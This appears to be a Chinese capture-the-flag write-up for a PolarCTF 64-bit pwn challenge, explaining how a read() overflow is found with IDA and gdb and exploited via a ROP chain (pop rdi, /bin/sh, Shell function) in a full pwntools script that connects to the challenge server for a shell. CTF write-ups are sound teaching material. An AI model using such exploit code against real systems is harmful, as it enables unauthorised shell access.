【PolarCTF】x64

先检查下,发现是64位的程序

IDA分析程序

这里很明显read函数存在溢出

然后可以看到后面函数Shell

同时也可以找到/bin/sh字符串

这里我们可以通过IDA查找

攻击思路如下:

复制代码
填充垃圾数据

pop_rdi_ret将/bin/sh传递到rdi中

执行Shell函数

获得shell

gdb调试程序

将cyclic的字符输入到程序中,然后我们可以通过

复制代码
x rbp

或者

复制代码
info registers rbp

可以看到堆底里面的内容

通过计算可以看到距离rbp的距离为128(十进制)

128转为十六进制,可以看到就是0x80,和IDA分析的结果是一样的

因为还要覆盖返回地址,因此填充0x80个字节+0x8个字节

除了上面的方法找Shell函数地址、/bin/sh字符地址

还可以通过objdump查找shell函数地址

通过ROPgadget 查找可以传递给rdi的pop_ret,pop_rdi_ret的地址为0x4007e3

我们也可以使用ROPgadget来查找/bin/sh地址,可以看到/bin/sh的地址为0x601060

bin/sh的地址为0x601060

pop_rdi_ret的地址为0x4007e3

Shell函数的地址0x4006b6

payload如下

python 复制代码
from pwn import *

io = remote('1.95.36.136',2065)

system_addr = 0x4006b6

sh_addr = 0x601060

pop_rdi = 0x4007e3

padding = 0x80+0x8

payload = b'A'*padding
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(system_addr)

io.sendline(payload)
io.interactive()
相关推荐
reikocao11 小时前
内网穿透cpolar
网络安全
pencek1 天前
Hack-The-Box-Cap
网络安全
深邃-2 天前
【Web安全】-计算机网络协议(1):IP协议详解,HTTP协议介绍
linux·tcp/ip·计算机网络·安全·web安全·http·网络安全
录大大i2 天前
javaWeb中使用AES256+RSA网络数据加密
java·网络·网络安全
2301_780789662 天前
云服务器数据会泄露吗?怎么保护云服务器的数据
运维·服务器·tcp/ip·网络安全
汽车电子安全技术研究社2 天前
ISO_PAS 8800_2024 技术深度解读:全球首个道路车辆AI安全标准的核心框架与实施路径
网络安全·汽车电子·功能安全·aspice·预期功能安全
Chockmans2 天前
春秋云境CVE-2017-17733
安全·web安全·网络安全·网络攻击模型·安全威胁分析·春秋云境·cve-2017-17733
其实防守也摸鱼2 天前
软件安全与漏洞--软件安全设计
运维·网络·安全·网络安全·密码学·需求分析·软件安全
treesforest2 天前
IP地址段查询完全指南:从单IP查到IPv4段批量归属地查询
网络·数据库·网络协议·tcp/ip·网络安全·运维开发
сокол2 天前
【网安-Web渗透测试-内网渗透】内网横向移动——IPC连接
服务器·windows·网络安全·系统安全